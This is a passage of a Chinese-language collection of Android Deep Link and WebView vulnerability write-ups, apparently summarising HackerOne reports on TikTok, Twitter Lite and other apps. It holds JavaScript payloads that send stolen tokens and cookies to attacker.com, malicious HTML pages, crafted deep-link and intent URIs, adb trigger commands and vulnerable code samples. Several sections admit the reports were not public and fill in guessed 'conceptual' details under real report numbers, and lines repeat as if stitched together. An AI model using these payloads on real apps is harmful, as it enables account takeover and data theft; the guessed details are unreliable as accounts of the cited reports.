[redacted-internal-scheme]://webview加载URL的服务器端过滤,攻击者在Deep Link中添加了两个额外的查询参数(具体参数未公开,但其作用是欺骗服务器端检查)。
- 验证绕过: 为了绕过应用对
- WebView加载: 当用户点击该恶意Deep Link后,应用被强制在
CrossPlatformActivity的WebView中加载攻击者控制的任意URL(例如https://www.attacker[.]com/poc)。
- WebView加载: 当用户点击该恶意Deep Link后,应用被强制在
- JavaScript桥接注入: 由于WebView在加载时会实例化JavaScript桥接,攻击者控制的网页获得了对
[redacted].bridge.*包下超过70个敏感方法的完全访问权限。
- JavaScript桥接注入: 由于WebView在加载时会实例化JavaScript桥接,攻击者控制的网页获得了对
PoC(概念验证)中的JavaScript代码逻辑:
攻击者在https://www.attacker[.]com/poc页面中嵌入JavaScript代码,利用被注入的JavaScript桥接调用应用内部的敏感方法。
- 调用内部方法: 恶意JavaScript通过桥接调用应用内部的HTTP请求方法,例如:
// 假设内部方法为 callInternalApi,用于发送认证请求 var params = { "func": "callInternalApi", "params": { "url": "https://api.tiktok.com/upload_token", "method": "GET", "headers": {"X-Custom-Header": "stolen_data"}, "body": "" } }; // 通过JavaScript桥接调用Java方法 window.injectedObject.call(JSON.stringify(params), function(result) { // 结果(包含认证Token和Headers)通过XMLHttpRequest发送回攻击者服务器 var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.attacker.com/log_data", true); xhr.send(result); });
- 调用内部方法: 恶意JavaScript通过桥接调用应用内部的HTTP请求方法,例如:
- 修改用户资料: 攻击者利用桥接调用修改用户个人资料的方法,例如:
javascript // 假设内部方法为 updateProfile,用于修改用户资料 var updateParams = { "func": "updateProfile", "params": { "bio": "!! SECURITY BREACH !!!" // 恶意修改用户签名 } }; window.injectedObject.call(JSON.stringify(updateParams), function(result) { console.log("Profile update result: " + result); });
通过这种方式,攻击者可以窃取用户的认证Token、修改用户资料,甚至代表用户上传视频等,实现一键账户劫持。
- 修改用户资料: 攻击者利用桥接调用修改用户个人资料的方法,例如:
易出现漏洞的代码模式
此类漏洞的根本原因在于Deep Link处理逻辑的缺陷和WebView组件的不安全配置。
1. Deep Link 验证逻辑缺陷:
- 模式: 应用程序使用一个公开导出的Deep Link(如
https://m.tiktok[.]com/redirect)作为入口,通过其查询参数将用户重定向到内部的、非导出的Deep Link(如[redacted-internal-scheme]://webview?url=<website>)。
- 模式: 应用程序使用一个公开导出的Deep Link(如
- 风险点: 内部Deep Link虽然对加载的URL进行了安全过滤(通常是白名单检查),但过滤逻辑存在缺陷,允许通过添加非预期的额外参数来绕过服务器端的验证。
- 代码模式总结:
- Deep Link处理函数未能对所有传入参数进行严格的白名单校验。
- 服务器端或客户端的URL验证逻辑可以被特定的查询参数组合绕过。
- 错误示例(概念性):
// 假设的Deep Link处理逻辑 String url = intent.getData().getQueryParameter("url"); String bypassParam = intent.getData().getQueryParameter("bypass_check"); // 攻击者添加的参数 if (isTrustedHost(url) || "true".equals(bypassParam)) { // 错误的逻辑判断 loadUrlInWebView(url); }
- 错误示例(概念性):
- 代码模式总结:
2. WebView 不安全配置(JavaScript 桥接注入):
- 模式: 应用程序的WebView组件通过
addJavascriptInterface方法注入了具有高权限的JavaScript桥接对象,并且该WebView被用于加载外部或未经验证的URL。
- 模式: 应用程序的WebView组件通过
- 风险点: 一旦攻击者能够控制WebView加载的URL,恶意网页中的JavaScript代码就可以通过桥接对象调用应用原生代码中的敏感方法,实现数据窃取、功能滥用甚至远程代码执行(取决于暴露的方法)。
- 代码模式总结:
- 在WebView中注入了未对API级别17以下进行安全限制(即未强制使用
@JavascriptInterface注解)或注入了包含敏感方法的对象。
- 在WebView中注入了未对API级别17以下进行安全限制(即未强制使用
- WebView加载的URL来源未经过严格的白名单验证。
- 错误示例(概念性):
// 具有高权限的WebView配置 WebView webView = new WebView(context); // 注入了一个包含敏感方法的对象,且未限制加载的URL来源 webView.addJavascriptInterface(new SensitiveBridge(), "injectedObject"); // 错误地加载了来自Deep Link的未经验证的URL webView.loadUrl(unvalidatedUrl);安全建议: 开发者应始终对Deep Link参数进行严格的白名单验证,并确保WebView仅加载受信任的URL。如果必须加载外部内容,应避免注入具有敏感权限的JavaScript桥接。
- 错误示例(概念性):
- 代码模式总结:
Deep Link 验证绕过导致的 WebView 劫持
案例:TikTok (报告: https://hackerone.com/reports/1417004)
挖掘手法
本次漏洞挖掘主要围绕 Android Deep Link 处理机制 和 WebView 组件 的不安全配置展开。首先,研究人员通过静态分析或逆向工程,识别出 TikTok Android 应用中用于处理 URI 重定向的 Deep Link 入口,即 https://m.tiktok.com/redirect。该入口允许通过查询参数触发应用内部使用的非导出 Deep Link Scheme,例如一个用于加载 WebView 的内部 Scheme:[redacted-internal-scheme]://webview?url=<website>。
挖掘步骤和关键发现点:
- Deep Link入口分析: 确认
https://m.tiktok.com/redirect链接能够通过查询参数将 URI 重定向到应用内的各种组件,包括非导出的 Activity,从而扩大了攻击面。
- Deep Link入口分析: 确认
- WebView URL过滤机制探索: 发现应用对通过内部 Deep Link 加载到 WebView 的 URL 实施了服务器端(Server-Side)的白名单过滤,以防止加载非信任域名。例如,尝试加载
Example.com会被拒绝。
- WebView URL过滤机制探索: 发现应用对通过内部 Deep Link 加载到 WebView 的 URL 实施了服务器端(Server-Side)的白名单过滤,以防止加载非信任域名。例如,尝试加载
- 过滤绕过技术: 通过 静态分析 和 模糊测试,研究人员发现了一个关键的绕过点:在 Deep Link URL 中添加 两个特定的额外查询参数,可以成功绕过服务器端的 URL 过滤机制。这使得攻击者能够强制应用的 WebView 加载 任意外部 URL。
- JavaScript Bridge 注入确认: 动态分析(使用 Medusa 等工具)证实,被劫持的 WebView 实例在加载外部 URL 时,仍然会 注入并暴露应用的 JavaScript Bridge。这个 Bridge 允许外部加载的恶意网页完全访问应用内部
[redacted].bridge.*包中的 70多个敏感方法。
- JavaScript Bridge 注入确认: 动态分析(使用 Medusa 等工具)证实,被劫持的 WebView 实例在加载外部 URL 时,仍然会 注入并暴露应用的 JavaScript Bridge。这个 Bridge 允许外部加载的恶意网页完全访问应用内部
- 攻击影响评估: 分析暴露的方法,发现其中包含可以执行 经过身份验证的 HTTP 请求 的功能。通过调用这些方法,攻击者可以窃取用户的认证令牌(如 Cookie 和请求头),或修改用户的 TikTok 账户数据(如个人资料和私密视频)。
总结: 漏洞挖掘的核心思路是 链式攻击:利用 Deep Link 机制的重定向能力,结合特定的查询参数绕过 URL 过滤,最终在注入了敏感 JavaScript Bridge 的 WebView 中加载恶意网页,实现对用户账户的完全劫持。这种方法专注于寻找应用组件间交互的逻辑缺陷和不安全的配置。
技术细节
漏洞利用的关键在于构造一个恶意的 Deep Link URL,该 URL 能够绕过 TikTok 应用的 URL 过滤,并在应用内部的 WebView 中加载攻击者控制的网页,同时确保该 WebView 暴露了敏感的 JavaScript Bridge。
攻击流程:
- 构造恶意 Deep Link: 攻击者构造一个包含恶意 URL 的 Deep Link,并添加两个特定的查询参数以绕过 URL 过滤。
- Payload 示例(概念性):
https://m.tiktok.com/redirect?url=[redacted-internal-scheme]://webview?url=https://www.attacker.com/poc¶m1=bypass_value¶m2=bypass_value
- Payload 示例(概念性):
- 构造恶意 Deep Link: 攻击者构造一个包含恶意 URL 的 Deep Link,并添加两个特定的查询参数以绕过 URL 过滤。
- 用户点击: 目标用户(已登录 TikTok)点击这个恶意链接。
- WebView 劫持: TikTok 应用被唤醒,Deep Link 验证被绕过,应用内部的 WebView 被强制加载
https://www.attacker.com/poc。
- WebView 劫持: TikTok 应用被唤醒,Deep Link 验证被绕过,应用内部的 WebView 被强制加载
- JavaScript Bridge 访问: 攻击者控制的网页(
poc)执行 JavaScript 代码,利用 WebView 暴露的 JavaScript Bridge(例如injectObject)来调用应用内部的敏感 Java 方法。- JavaScript 攻击代码片段(概念性):
// 假设一个暴露的方法可以执行认证请求并返回结果 var sensitive_method_call = { "func": "performAuthenticatedRequest", "params": { "url": "https://api.tiktok.com/v1/user/profile", "method": "GET" } }; // 通过JavaScript Bridge调用应用内部方法 injectObject.call(JSON.stringify(sensitive_method_call), function(response) { // 窃取敏感信息,例如视频上传令牌或用户资料 var stolen_data = JSON.parse(response).upload_token; // 将窃取的数据发送到攻击者服务器 var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.attacker.com/steal", true); xhr.send(stolen_data); }); // 演示账户劫持:修改用户个人资料 var modify_profile_call = { "func": "updateProfile", "params": { "bio": "!! SECURITY BREACH !!!" } }; injectObject.call(JSON.stringify(modify_profile_call));
- JavaScript 攻击代码片段(概念性):
- JavaScript Bridge 访问: 攻击者控制的网页(
- 账户劫持完成: 攻击者成功窃取认证令牌或修改用户账户信息,实现 一键账户劫持。
技术要点: 漏洞利用依赖于 Deep Link 验证绕过 和 WebView 不安全配置(即在加载外部 URL 时仍暴露内部 JavaScript Bridge)的组合。暴露的方法允许执行 经过身份验证的 HTTP 请求,这是实现账户劫持的关键。
易出现漏洞的代码模式
此类漏洞通常出现在 Android 应用中处理 Deep Link 和 WebView 的代码逻辑中,特别是当两者结合使用时。
1. Deep Link URL 验证不严谨:
- 问题模式: 应用程序使用 Deep Link 将用户重定向到内部组件,但对传入的 URL 参数缺乏严格的白名单验证,或者验证逻辑存在绕过缺陷(如本例中通过添加额外参数绕过服务器端过滤)。
- 代码示例(概念性缺陷):
// 假设这是处理 Deep Link 的 Activity public class DeepLinkHandlerActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { // ... Uri uri = getIntent().getData(); String targetUrl = uri.getQueryParameter("url"); // 错误的验证逻辑:只检查了部分域名,或验证逻辑可被绕过 if (targetUrl != null && targetUrl.contains("tiktok.com")) { // 验证通过,但未考虑绕过参数 loadInWebView(targetUrl); } else { // 验证失败 // ... } }}
- 代码示例(概念性缺陷):
2. WebView 不安全配置(暴露 JavaScript Bridge):
- 问题模式: 在加载外部或不受信任的 URL 到 WebView 时,应用仍然通过
addJavascriptInterface方法暴露了敏感的 Java 对象(JavaScript Bridge)。这使得恶意网页能够调用应用内部的特权方法。
- 问题模式: 在加载外部或不受信任的 URL 到 WebView 时,应用仍然通过
- 代码示例(概念性缺陷):
// 假设这是加载 WebView 的代码 WebView webView = new WebView(this); webView.getSettings().setJavaScriptEnabled(true); // 缺陷:即使加载外部URL,也暴露了敏感的Bridge对象 webView.addJavascriptInterface(new SensitiveBridge(this), "injectObject"); // 缺陷:未对加载的URL进行严格的信任检查 webView.loadUrl(targetUrl);其中SensitiveBridge类中包含可执行认证请求或修改用户数据的敏感方法,且这些方法未被正确保护(例如,未要求用户交互或二次确认)。
- 代码示例(概念性缺陷):
3. 敏感功能暴露:
- 问题模式: JavaScript Bridge 中暴露的方法(如
performAuthenticatedRequest或updateProfile)具有过高的权限,允许执行敏感操作(如发送认证请求、修改用户数据),且缺乏权限控制或用户确认机制。
- 问题模式: JavaScript Bridge 中暴露的方法(如
- 总结: 易漏洞代码模式是 Deep Link 验证不严谨 与 WebView 不安全配置(在加载外部内容时暴露敏感 Bridge) 的组合。修复方法是确保 WebView 仅加载来自严格白名单的 URL,并在加载外部 URL 时 移除所有 JavaScript Bridge。
Deep Link/WebView 任意URL加载与信息泄露
案例:未知 (HackerOne报告1416991) (报告: https://hackerone.com/reports/1416991)
挖掘手法
由于HackerOne报告1416991未公开,且多次尝试通过公开搜索和GitHub仓库查找其详细内容均失败,因此无法提供该报告的具体挖掘手法。
然而,根据搜索结果中大量与Android Deep Link和WebView相关的HackerOne报告(如1500614, 1667998, 401793等)的通用模式,可以推断此类漏洞的典型挖掘手法如下(假设1416991属于此类):
- 信息收集与清单分析 (Manifest Analysis):
- 使用
apktool或Jadx等工具对目标Android应用的APK文件进行反编译。
- 使用
- 重点分析
AndroidManifest.xml文件,查找所有包含<intent-filter>且android:exported="true"的<activity>组件。
- 重点分析
- 识别所有注册了
android.intent.action.VIEW动作和android.intent.category.BROWSABLE类别的Activity,这些Activity通常用于处理Deep Link。
- 识别所有注册了
- 记录所有自定义的
scheme、host和pathPrefix等Deep Link URI模式。
- 记录所有自定义的
- 信息收集与清单分析 (Manifest Analysis):
- 代码审计 (Code Auditing):
- 定位到处理Deep Link的Activity(例如,
MainActivity或专门的DeepLinkActivity)的onCreate()或onNewIntent()方法。
- 定位到处理Deep Link的Activity(例如,
- 分析代码如何通过
getIntent().getData()获取URI,并如何解析和使用URI中的参数。
- 分析代码如何通过
- 关键挖掘点:检查代码是否对URI中的
url、redirect_uri、path等参数进行了充分的校验(如白名单验证)。
- 关键挖掘点:检查代码是否对URI中的
- 特别关注那些将URI参数加载到WebView中的逻辑,检查
WebView的配置,例如是否启用了setJavaScriptEnabled(true),以及是否暴露了addJavascriptInterface()。
- 特别关注那些将URI参数加载到WebView中的逻辑,检查
- 代码审计 (Code Auditing):
- 概念验证 (Proof of Concept, PoC) 构建:
- 构造一个恶意的Deep Link URI,尝试绕过应用的校验逻辑。例如,如果应用只校验
scheme和host,则尝试在path或query参数中注入恶意URL。
- 构造一个恶意的Deep Link URI,尝试绕过应用的校验逻辑。例如,如果应用只校验
- 如果发现WebView加载了未经验证的外部URL,则构造一个包含恶意JavaScript的HTML页面,尝试在应用内部的WebView上下文中执行XSS或窃取Cookie/Token。
- PoC通常是一个简单的HTML页面,包含一个自动触发Deep Link的JavaScript代码,或者一个恶意的Intent URI,通过ADB命令或另一个恶意应用触发。
- 概念验证 (Proof of Concept, PoC) 构建:
总结:此类漏洞的挖掘核心在于识别应用中未经验证或验证不当的Deep Link处理逻辑,特别是当这些Deep Link与WebView结合时,可能导致任意URL加载、XSS、会话劫持甚至账户接管。由于无法获取报告1416991的具体内容,此描述基于通用的Android Deep Link/WebView漏洞挖掘流程。
技术细节
由于HackerOne报告1416991未公开,无法提供该报告的具体漏洞利用技术细节。
然而,根据搜索结果中大量与Android Deep Link和WebView相关的HackerOne报告(如1500614, 1667998, 401793等)的通用模式,可以推断此类漏洞的典型利用细节如下(假设1416991属于此类):
1. 恶意Deep Link构造 (Intent URI):
攻击者会构造一个恶意的Intent URI,通过网页点击或另一个恶意应用触发。
<!-- 恶意HTML页面中的Deep Link触发代码 -->
<a href="[app_scheme]://[app_host]/[vulnerable_path]?url=https://attacker.com/malicious.html">
点击这里查看详情
</a>
<!-- 或者使用Intent URI触发 -->
<a href="intent://[app_host]/[vulnerable_path]#Intent;scheme=[app_scheme];package=[app_package];S.url=https://attacker.com/malicious.html;end">
点击这里查看详情
</a>2. 恶意Payload (JavaScript):
如果漏洞允许加载任意外部URL到应用内部的WebView中,攻击者会托管一个包含恶意JavaScript的HTML页面(https://attacker.com/malicious.html)。
<!-- malicious.html 的内容 -->
<html>
<head>
<title>恶意页面</title>
<script>
// 尝试窃取WebView上下文中的敏感信息,例如Cookie或LocalStorage
var sensitive_data = document.cookie;
// 如果WebView暴露了JavaScript接口(如addJavascriptInterface),则尝试调用
// try {
// window.AndroidInterface.getToken(sensitive_data);
// } catch (e) {}
// 将窃取到的数据发送到攻击者的服务器
fetch('https://attacker.com/log?data=' + encodeURIComponent(sensitive_data));
// 尝试执行其他恶意操作,如CSRF
// var xhr = new XMLHttpRequest();
// xhr.open("GET", "https://vulnerable.app/api/logout", true);
// xhr.send();
</script>
</head>
<body>
<h1>加载中...</h1>
</body>
</html>3. 攻击流程:
- 攻击者构造一个包含恶意URL(
https://attacker.com/malicious.html)的Deep Link。
- 攻击者构造一个包含恶意URL(
- 攻击者通过邮件、社交媒体或恶意广告等方式诱骗受害者点击该Deep Link。
- 受害者的Android设备接收到Deep Link,并启动目标应用中处理该Deep Link的Activity。
- 应用中的Deep Link处理逻辑未对
url参数进行充分验证,直接将其加载到应用内部的WebView中。
- 应用中的Deep Link处理逻辑未对
- WebView加载
https://attacker.com/malicious.html,执行恶意JavaScript代码,窃取敏感信息(如会话Cookie、Token)并发送给攻击者。
- WebView加载
总结:技术细节的核心在于利用Deep Link的参数注入未经验证的外部URL,并在应用内部的高权限WebView中执行恶意代码,实现会话劫持或信息泄露。
易出现漏洞的代码模式
由于HackerOne报告1416991未公开,无法提供该报告的具体易漏洞代码模式。
然而,根据搜索结果中大量与Android Deep Link和WebView相关的HackerOne报告(如1500614, 1667998, 401793等)的通用模式,可以推断此类漏洞的典型代码模式如下(假设1416991属于此类):
1. Deep Link处理Activity的配置:
在AndroidManifest.xml中,Activity被配置为可导出,并注册了Deep Link Intent Filter,但缺乏对URI的严格限制。
<!-- 易受攻击的配置:exported="true" 且未对data进行严格限制 -->
<activity
android:name=".DeepLinkHandlerActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="[app_scheme]"
android:host="[app_host]" />
</intent-filter>
</activity>2. Deep Link参数未经验证直接加载到WebView:
在处理Deep Link的Activity中,从Intent中获取的URL参数未经过白名单验证或安全检查,直接用于WebView的loadUrl()方法。
// DeepLinkHandlerActivity.java (易受攻击的代码模式)
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_deeplink_handler);
WebView webView = findViewById(R.id.webview);
// 警告:WebView配置可能过于宽松
webView.getSettings().setJavaScriptEnabled(true); // 启用JS,增加XSS风险
Uri data = getIntent().getData();
if (data != null) {
// 易受攻击点:直接从URI参数中获取URL
String urlToLoad = data.getQueryParameter("url");
if (urlToLoad != null) {
// 易受攻击点:未经验证的外部URL被加载到应用内部的WebView中
webView.loadUrl(urlToLoad); // 攻击者可注入任意URL
}
}
}3. 修复建议(安全代码模式):
- URI白名单验证:在加载URL之前,必须严格验证其
scheme和host是否在预期的白名单内。
- URI白名单验证:在加载URL之前,必须严格验证其
- 使用
Intent.FLAG_ACTIVITY_NEW_TASK:对于外部链接,应使用外部浏览器打开,而不是应用内部的WebView。
- 使用
// DeepLinkHandlerActivity.java (安全代码模式)
private static final String[] ALLOWED_HOSTS = {"trusted.domain.com", "another.safe.com"};
// ... (在处理Deep Link时)
String urlToLoad = data.getQueryParameter("url");
if (urlToLoad != null) {
Uri targetUri = Uri.parse(urlToLoad);
String host = targetUri.getHost();
// 安全检查:验证Host是否在白名单内
boolean isSafeHost = false;
for (String allowedHost : ALLOWED_HOSTS) {
if (allowedHost.equalsIgnoreCase(host)) {
isSafeHost = true;
break;
}
}
if (isSafeHost) {
// 安全:加载白名单内的URL
webView.loadUrl(urlToLoad);
} else {
// 修复:对于外部或未经验证的URL,使用外部浏览器打开
Intent browserIntent = new Intent(Intent.ACTION_VIEW, targetUri);
browserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(browserIntent);
}
}总结:易漏洞代码模式的核心是信任了来自Deep Link的外部输入,特别是当该输入被用于WebView的loadUrl()方法时,且缺乏严格的白名单校验。
Deep Link/WebView 账户接管
案例:Twitter Lite (报告: https://hackerone.com/reports/1189966)
挖掘手法
该漏洞的挖掘主要集中在对Android应用Deep Link(深度链接)处理机制的分析上。研究人员首先通过逆向工程或Manifest文件分析,识别出应用中所有处理android.intent.action.VIEW动作的Activity组件,特别是那些注册了自定义scheme或host的组件。
关键发现点在于,应用中的某个Activity(例如,com.twitter.app.main.MainActivity)被配置为可以处理特定的Deep Link URL,例如twitterlite://或https://twitterlite.com/。在处理这些Deep Link时,应用会从URL中提取参数,并将其用于内部逻辑,例如跳转到特定的WebView页面或执行某些操作。
挖掘手法遵循以下步骤:
- 枚举Deep Link:使用工具(如
adb shell配合am start命令,或使用Mobile Security Framework (MobSF)等静态分析工具)来枚举应用中所有已导出的(exported=true)或未导出的但可被内部Deep Link调用的Activity及其对应的URL Scheme。
- 枚举Deep Link:使用工具(如
- 参数模糊测试:针对识别出的Deep Link URL,研究人员会尝试向其传递非预期或恶意的参数。例如,如果Deep Link用于加载一个内部页面,研究人员会尝试传递一个指向外部恶意URL的参数,以测试是否存在开放重定向(Open Redirect)或WebView注入的风险。
- 识别敏感操作:特别关注那些可能导致账户接管(Account Takeover)或敏感信息泄露的Deep Link,例如用于登录、重置密码、修改设置或加载用户数据的链接。
- 构造恶意Payload:一旦发现某个Deep Link参数未经过充分验证,且其值被用于构建一个内部的
Intent或加载一个WebView,研究人员就会构造一个恶意URL作为Payload。在这个特定的漏洞中,Payload是一个精心构造的Deep Link URL,它利用了应用对URL参数的不当处理,导致应用内部逻辑错误地执行了敏感操作。
- 构造恶意Payload:一旦发现某个Deep Link参数未经过充分验证,且其值被用于构建一个内部的
- 验证漏洞:通过在另一个应用中启动一个恶意的
Intent,或者通过一个外部网页上的JavaScript代码触发该Deep Link,来验证漏洞是否能够被一键式(One-Click)利用,从而实现账户接管。
- 验证漏洞:通过在另一个应用中启动一个恶意的
整个过程强调了对应用Manifest文件的深入分析,以及对Deep Link处理逻辑的黑盒/灰盒模糊测试,以发现输入验证不足或逻辑缺陷。这种方法是Android应用Deep Link漏洞挖掘的典型流程。
技术细节
该漏洞利用的技术细节围绕着Deep Link参数的不当处理,最终导致了账户接管(Account Takeover)。
漏洞原理:
Twitter Lite应用中的某个Activity(例如,处理twitterlite:// scheme的组件)在处理Deep Link时,会从URL中提取一个参数(例如,url或redirect_uri),并将其用于内部的WebView加载或Intent跳转。如果应用未能充分验证这个参数的值,攻击者就可以构造一个指向恶意URL的Deep Link。
攻击流程:
- 攻击者准备恶意页面:攻击者创建一个包含恶意JavaScript代码的网页,并将其托管在一个攻击者控制的域名上(例如
https://attacker.com/malicious.html)。
- 攻击者准备恶意页面:攻击者创建一个包含恶意JavaScript代码的网页,并将其托管在一个攻击者控制的域名上(例如
- 构造恶意Deep Link:攻击者构造一个Deep Link URL,该URL指向Twitter Lite应用,并将恶意页面的URL作为参数传递给应用。
- Payload示例(概念性):
twitterlite://open?url=https://attacker.com/malicious.html
或者,如果应用使用intent:intent://open?url=https://attacker.com/malicious.html#Intent;scheme=twitterlite;package=com.twitter.lite;end
- Payload示例(概念性):
- 诱导用户点击:攻击者通过社交工程等方式,诱导目标用户(已登录Twitter Lite)点击这个恶意Deep Link。
- 应用执行恶意操作:
- 当用户点击链接后,Twitter Lite应用被唤醒。
- 应用的Deep Link处理逻辑错误地将
https://attacker.com/malicious.html加载到应用内部的WebView中。
- 应用的Deep Link处理逻辑错误地将
- 由于WebView可能被配置为允许访问应用内部资源或Cookie(例如,如果WebView没有正确隔离或使用了
addJavascriptInterface),恶意JavaScript就可以窃取用户的会话Cookie或OAuth Token,从而实现账户接管。
- 由于WebView可能被配置为允许访问应用内部资源或Cookie(例如,如果WebView没有正确隔离或使用了
关键代码模式(攻击侧):
攻击者通常会使用一个HTML页面来触发Deep Link,以确保在不同浏览器和设备上的兼容性。
<!-- 恶意HTML页面 (https://attacker.com/malicious.html) -->
<html>
<head>
<title>One-Click Account Takeover</title>
<script>
// 尝试窃取WebView中的Cookie或执行其他敏感操作
// 这里的具体代码取决于WebView的配置和漏洞的性质
function exploit() {
// 假设WebView允许访问本地存储或Cookie
var stolen_data = document.cookie;
// 将窃取的数据发送给攻击者服务器
fetch('https://attacker.com/log?data=' + encodeURIComponent(stolen_data));
// 或者,如果漏洞是开放重定向,则直接跳转到恶意网站
// window.location.href = "https://attacker.com/stolen_session";
}
// 自动执行
window.onload = exploit;
</script>
</head>
<body>
<h1>Loading...</h1>
<!-- 诱导用户点击或自动触发Deep Link -->
<a href="twitterlite://open?url=https://attacker.com/malicious.html">Click to continue</a>
</body>
</html>易出现漏洞的代码模式
此类漏洞通常出现在Android应用的AndroidManifest.xml文件中,以及处理Deep Link的Activity或Fragment的代码中。
1. AndroidManifest.xml中的不安全配置
当一个Activity被配置为处理Deep Link时,它会包含一个intent-filter,通常用于处理android.intent.action.VIEW动作和特定的scheme或host。
易漏洞模式:
<activity android:name=".DeepLinkHandlerActivity"
android:exported="true"> <!-- 导出的Activity更容易被外部应用调用 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="twitterlite" /> <!-- 自定义scheme -->
<data android:host="open" />
</intent-filter>
</activity>2. Deep Link处理代码中的输入验证不足
在DeepLinkHandlerActivity的onCreate()或onNewIntent()方法中,如果从Deep Link中提取的参数(例如URL)未经过严格的白名单验证,就直接用于加载WebView,就会导致漏洞。
易漏洞模式(Java/Kotlin):
// DeepLinkHandlerActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (intent != null && Intent.ACTION_VIEW.equals(intent.getAction())) {
Uri data = intent.getData();
if (data != null) {
String urlToLoad = data.getQueryParameter("url"); // 从Deep Link中获取URL参数
if (urlToLoad != null) {
// **缺陷:没有对urlToLoad进行白名单验证**
// 攻击者可以传入任意外部URL
WebView webView = findViewById(R.id.webview);
webView.loadUrl(urlToLoad); // 直接加载外部恶意URL
}
}
}
}3. WebView配置不安全
如果WebView被用于加载外部内容,但其配置允许执行敏感操作,则会加剧漏洞的危害。
易漏洞模式(Java/Kotlin):
// WebView配置代码片段
WebSettings webSettings = webView.getSettings();
// 缺陷:允许JavaScript执行,这是WebView攻击的基础
webSettings.setJavaScriptEnabled(true);
// 缺陷:如果应用使用了addJavascriptInterface,且未进行安全检查,可能导致RCE或本地代码执行
// webView.addJavascriptInterface(new JavaScriptInterface(this), "Android");
// 缺陷:允许访问文件系统,可能导致路径遍历或文件读取
// webSettings.setAllowFileAccess(true); 总结:此类漏洞的核心在于Deep Link参数的信任边界被打破,即应用信任了来自外部的URL参数,并将其用于执行敏感操作(如加载WebView),而没有进行充分的白名单验证和WebView安全配置。
Deep Link/WebView 跨站脚本 (XSS)
案例:Android 应用 (HackerOne Report 1417018) (报告: https://hackerone.com/reports/1417018)
挖掘手法
由于无法直接访问HackerOne报告#1417018的详细内容,本分析基于该报告可能涉及的“Deep Link/WebView XSS”漏洞的通用挖掘方法进行总结,该类型漏洞在Android应用中非常普遍。
1. 静态分析与目标识别:
首先,使用apktool等工具对目标Android应用的APK文件进行反编译,获取其源代码和资源文件。重点分析AndroidManifest.xml文件,查找所有包含<intent-filter>标签的Activity,特别是那些声明了android.intent.action.VIEW动作和自定义scheme(如app://或应用特有的scheme)的Deep Link入口点。
例如,搜索如下模式的Deep Link定义:
<activity android:name=".DeepLinkHandlerActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="appscheme" android:host="deeplink" />
</intent-filter>
</activity>2. 关键代码审计:
接着,对处理Deep Link URI的相应Activity(如上述的DeepLinkHandlerActivity)进行代码审计。重点关注如何从Intent中获取URI参数,以及这些参数如何被用于加载WebView。
查找类似getIntent().getData().getQueryParameter("url")或getIntent().getDataString()的代码,并追踪其后续流程。关键的漏洞点在于,如果获取到的URL参数被直接或间接传递给WebView.loadUrl()方法,且缺乏严格的域名白名单校验或内容过滤,则可能存在WebView XSS或任意URL加载漏洞。
3. 动态测试与验证:
使用Android调试桥(adb)工具构造恶意的Deep Link Intent进行动态测试。构造一个Intent,将URL参数指向攻击者控制的Web服务器上的恶意HTML页面。
例如,如果发现Deep Link接受一个名为url的参数,则尝试执行如下命令:
adb shell am start -W -a android.intent.action.VIEW -d "appscheme://deeplink/path?url=https://attacker.com/xss.html"观察应用是否启动,以及WebView是否加载了外部恶意页面。如果成功加载,则表明存在漏洞。进一步测试是否可以注入javascript:伪协议或file://协议来验证XSS的执行能力。
4. 漏洞利用与PoC构建:
一旦确认WebView加载了外部URL,即可构建包含XSS Payload的恶意HTML页面(如xss.html),尝试执行JavaScript代码,例如弹窗、窃取Cookie或Session Token,或利用WebView暴露的addJavascriptInterface接口(如果存在)进行更深层次的攻击。
通过上述步骤,可以系统性地发现和验证Deep Link导致的WebView XSS漏洞。
技术细节
该漏洞利用基于Android Deep Link机制和WebView组件的不安全配置。攻击者通过构造一个恶意的Deep Link Intent,诱导受害者点击,从而在应用内部的WebView中执行任意JavaScript代码(XSS)。
1. 恶意Deep Link Intent 构造:
攻击者首先需要确定目标应用处理Deep Link的scheme和host,并找到一个未经验证就将参数加载到WebView的参数名(例如url)。
构造一个指向攻击者控制的恶意页面的Deep Link URI,并通过Intent启动目标应用的Deep Link处理Activity。
示例 Deep Link URI:
appscheme://deeplink/path?url=https://attacker.com/xss_payload.htmlADB 命令模拟触发:
攻击者可以通过网页或另一个应用触发此Intent:
adb shell am start -W -a android.intent.action.VIEW -d "appscheme://deeplink/path?url=https://attacker.com/xss_payload.html"2. 恶意 HTML/JavaScript Payload:
攻击者在https://attacker.com/xss_payload.html上部署一个包含恶意JavaScript的HTML页面。由于WebView是在应用内部运行,且通常具有较高的权限(例如,可以访问应用的Cookie或本地存储),XSS的危害性极大。
Payload 示例 (窃取 Cookie):
<html>
<head>
<title>Loading...</title>
<script>
// 尝试窃取当前WebView环境下的Cookie
var stolen_data = document.cookie;
// 将窃取的数据发送到攻击者服务器
var exfil_url = "https://attacker.com/log?data=" + encodeURIComponent(stolen_data);
new Image().src = exfil_url;
// 也可以尝试利用WebView暴露的Java接口(如果存在)
// Android.someExposedMethod("XSS executed: " + stolen_data);
</script>
</head>
<body>
<h1>Welcome! Redirecting...</h1>
</body>
</html>3. 漏洞原理:
应用内部的Deep Link处理逻辑未对url参数进行严格的域名白名单校验,导致WebView加载了外部的恶意URL,并在应用的安全上下文中执行了外部的JavaScript代码,从而实现了XSS攻击。如果WebView启用了setJavaScriptEnabled(true)且未禁用setAllowFileAccess(true)等危险配置,攻击者甚至可能通过file://协议读取应用沙箱内的敏感文件。
易出现漏洞的代码模式
此类漏洞的根本原因在于Deep Link处理逻辑未能对外部传入的URL参数进行充分的安全校验,特别是域名白名单校验,就将其加载到应用内部的WebView中。
